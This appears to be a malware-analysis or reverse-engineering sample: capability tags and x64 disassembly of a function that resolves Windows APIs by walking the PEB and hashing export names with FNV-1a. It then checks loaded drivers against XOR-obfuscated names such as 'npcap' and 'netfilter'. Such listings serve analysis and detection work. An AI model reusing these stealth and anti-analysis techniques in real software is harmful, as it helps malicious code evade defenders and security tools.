Function at 0x18006c4b0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4748]
mov eax, 0x4848
call fcn.1800700c0
sub rsp, rax
mov r9, qword [0x1800f63f0]
xor r14d, r14d
test r9, r9
jne 0x18006c689
mov rax, qword gs:[0x60]
mov esi, r14d
mov r12d, 0xefe8aa5f
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r13, qword [rax]
mov r8, r13
mov eax, dword [r8 + 0x58]
sub ax, 8
test esi, esi
je 0x18006c555
mov r9, qword [r8 + 0x60]
mov r10d, 0x4e02c8f1
movzx eax, ax
shr rax, 1
lea r11, [r9 + rax*2]
jmp 0x18006c547
movsx eax, byte [r9]
mov ecx, eax
sub al, 0x41
mov edx, ecx
or edx, 0x20
cmp al, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
add r9, 2
cmp r9, r11
jne 0x18006c527
cmp r10d, esi
jne 0x18006c66a
mov r10, qword [r8 + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x18006c66a
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x18006c66a
mov ecx, dword [r11 + 0x20]
dec ebx
mov r14d, 0x4e02c8f1
lea rcx, [rcx + rbx*4]
mov r9d, dword [rcx + r10]
add r9, r10
jmp 0x18006c5bb
movsx ecx, dil
sub dil, 0x41
mov edx, ecx
or edx, 0x20
cmp dil, 0x19
cmova edx, ecx
xor edx, r14d
imul r14d, edx, 0x1000193
mov dil, byte [r9]
inc r9
test dil, dil
jne 0x18006c59d
cmp r14d, r12d
je 0x18006c5db
mov ecx, dword [r11 + 0x20]
xor r14d, r14d
test ebx, ebx
jne 0x18006c588
jmp 0x18006c66a
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx r8d, word [rdx + rbx*2]
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov r9d, dword [rdx + r8*4]
add r9, r10
cmp r9, r11
jbe 0x18006c749
lea rcx, [rax + r11]
cmp r9, rcx
jae 0x18006c749
mov esi, 0x4e02c8f1
mov r12d, esi
jmp 0x18006c631
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc r9
mov dl, byte [r9]
cmp dl, 0x2e
jne 0x18006c615
inc r9
xor r14d, r14d
jmp 0x18006c65f
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r12d
imul r12d, ecx, 0x1000193
inc r9
mov dl, byte [r9]
test dl, dl
jne 0x18006c641
mov r8, qword [r13]
mov rax, qword [r8]
mov r8, rax
cmp rax, r13
je 0x18006c67f
cmp qword [rax + 0x30], r14
jne 0x18006c505
mov r9, r14
mov qword [0x1800f63f0], r9
mov ebx, 0x4000
lea r8, [rbp + 0x4790]
mov edx, ebx
lea rcx, [rbp + 0x740]
call r9
test eax, eax
je 0x18006c9d6
cmp dword [rbp + 0x4790], ebx
jae 0x18006c9d6
xor edx, edx
mov word [rsp + 0x40], r14w
mov r8d, 0x7fe
lea rcx, [rsp + 0x42]
call fcn.180072350
mov edi, dword [rbp + 0x4790]
shr rdi, 3
mov qword [rsp + 0x38], rdi
test rdi, rdi
je 0x18006c9d6
mov rbx, r14
mov qword [rbp + 0x47a8], rbx
mov r9, qword [0x1800f63e8]
test r9, r9
jne 0x18006c8d2
mov rax, qword gs:[0x60]
mov r15d, r14d
mov r13d, 0x60e6c594
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rax, qword [rax]
mov qword [rbp + 0x47a0], rax
mov r9, rax
mov eax, dword [r9 + 0x58]
sub ax, 8
test r15d, r15d
je 0x18006c77f
mov r8, qword [r9 + 0x60]
mov r10d, 0xb8ec1813
movzx eax, ax
shr rax, 1
lea r11, [r8 + rax*2]
jmp 0x18006c771
xor r14d, r14d
jmp 0x18006c682
movsx eax, byte [r8]
mov ecx, eax
sub al, 0x41
mov edx, ecx
or edx, 0x20
cmp al, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
add r8, 2
cmp r8, r11
jne 0x18006c751
cmp r10d, r15d
jne 0x18006c8a3
mov r10, qword [r9 + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x18006c8a3
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x18006c8a3
mov r12d, dword [r11 + 0x20]
dec ebx
mov esi, 0xb8ec1813
lea rcx, [r12 + rbx*4]
mov r8d, dword [rcx + r10]
add r8, r10
mov dil, byte [r8]
inc r8
test dil, dil
je 0x18006c7fa
movsx ecx, dil
sub dil, 0x41
mov edx, ecx
or edx, 0x20
cmp dil, 0x19
mov dil, byte [r8]
cmova edx, ecx
inc r8
xor edx, esi
imul esi, edx, 0x1000193
test dil, dil
jne 0x18006c7cf
mov r12d, dword [r11 + 0x20]
cmp esi, r13d
je 0x18006c80b
xor r14d, r14d
test ebx, ebx
jne 0x18006c7b2
jmp 0x18006c8a3
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx r8d, word [rdx + rbx*2]
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov r9d, dword [rdx + r8*4]
add r9, r10
cmp r9, r11
jbe 0x18006c9ec
lea rcx, [rax + r11]
cmp r9, rcx
jae 0x18006c9ec
mov r15d, 0xb8ec1813
mov r13d, r15d
jmp 0x18006c864
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r15d
imul r15d, ecx, 0x1000193
inc r9
mov dl, byte [r9]
cmp dl, 0x2e
jne 0x18006c846
inc r9
xor r14d, r14d
jmp 0x18006c892
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r13d
imul r13d, ecx, 0x1000193
inc r9
mov dl, byte [r9]
test dl, dl
jne 0x18006c874
mov rax, qword [rbp + 0x47a0]
mov r9, qword [rax]
mov rax, qword [r9]
mov r9, rax
cmp rax, qword [rbp + 0x47a0]
je 0x18006c8bc
cmp qword [rax + 0x30], r14
jne 0x18006c726
mov r9, r14
mov rbx, qword [rbp + 0x47a8]
mov rdi, qword [rsp + 0x38]
mov qword [0x1800f63e8], r9
mov rcx, qword [rbp + rbx*8 + 0x740]
lea rdx, [rsp + 0x40]
mov r8d, 0x800
call r9
test eax, eax
je 0x18006c9c3
mov dword [rsp + 0x20], 0xddd8dfe2
mov edx, r14d
mov dword [rsp + 0x24], 0xc4d2caea
mov word [rsp + 0x28], 0xd5
movsxd rcx, edx
lea eax, [rdx - 0x56]
inc edx
xor byte [rsp + rcx + 0x20], al
cmp edx, 9
jb 0x18006c90a
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x29], r14b
lea rcx, [rsp + 0x40]
call fcn.180070c68
test rax, rax
jne 0x18006c9f4
mov dword [rsp + 0x2a], 0xcbd8cec4
mov edx, r14d
mov dword [rsp + 0x2e], 0xd4c4c3c7
mov word [rsp + 0x32], 0xc0
movsxd rcx, edx
lea eax, [rdx - 0x56]
inc edx
xor byte [rsp + rcx + 0x2a], al
cmp edx, 9
jb 0x18006c952
lea rdx, [rsp + 0x2a]
mov byte [rsp + 0x33], r14b
lea rcx, [rsp + 0x40]
call fcn.180070c68
test rax, rax
jne 0x18006c9f4
mov dword [rbp + 0x4798], 0xcccfdbc4
mov edx, r14d
mov word [rbp + 0x479c], 0xde
movsxd rcx, edx
lea eax, [rdx - 0x56]
inc edx
xor byte [rbp + rcx + 0x4798], al
cmp edx, 5
jb 0x18006c992
lea rdx, [rbp + 0x4798]
mov byte [rbp + 0x479d], r14b
lea rcx, [rsp + 0x40]
call fcn.180070c68
test rax, rax
jne 0x18006c9f4
inc rbx
mov qword [rbp + 0x47a8], rbx
cmp rbx, rdi
jl 0x18006c6ef
xor al, al
add rsp, 0x4848
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
xor r14d, r14d
jmp 0x18006c8bf
mov al, 1
jmp 0x18006c9d8